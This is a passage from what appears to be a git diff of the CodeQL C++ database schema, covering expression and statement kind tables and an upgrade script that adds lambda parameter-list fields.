@unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties new file mode 100644 index 00000000000..ef15d6e09ff --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties @@ -0,0 +1,3 @@ +description: add predicates `hasParameterList` and `emptyParameterListIsExplicit` to capture whether a lambda has an explicitly specified parameter list and whether that list is empty, respectively.Add commentMore actionsAdd commentMore actions +compatibility: backwards +lambdas.rel: run lambdas.qlo diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql new file mode 100644 index 00000000000..a16d5f25d56 --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql @@ -0,0 +1,7 @@ +class LambdaExpr extends @lambdaexpr { + string toString() { none() } +} + +from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type +where lambdas(lambda, default_capture, has_explicit_return_type) +select lambda, default_capture, has_explicit_return_type, false diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element 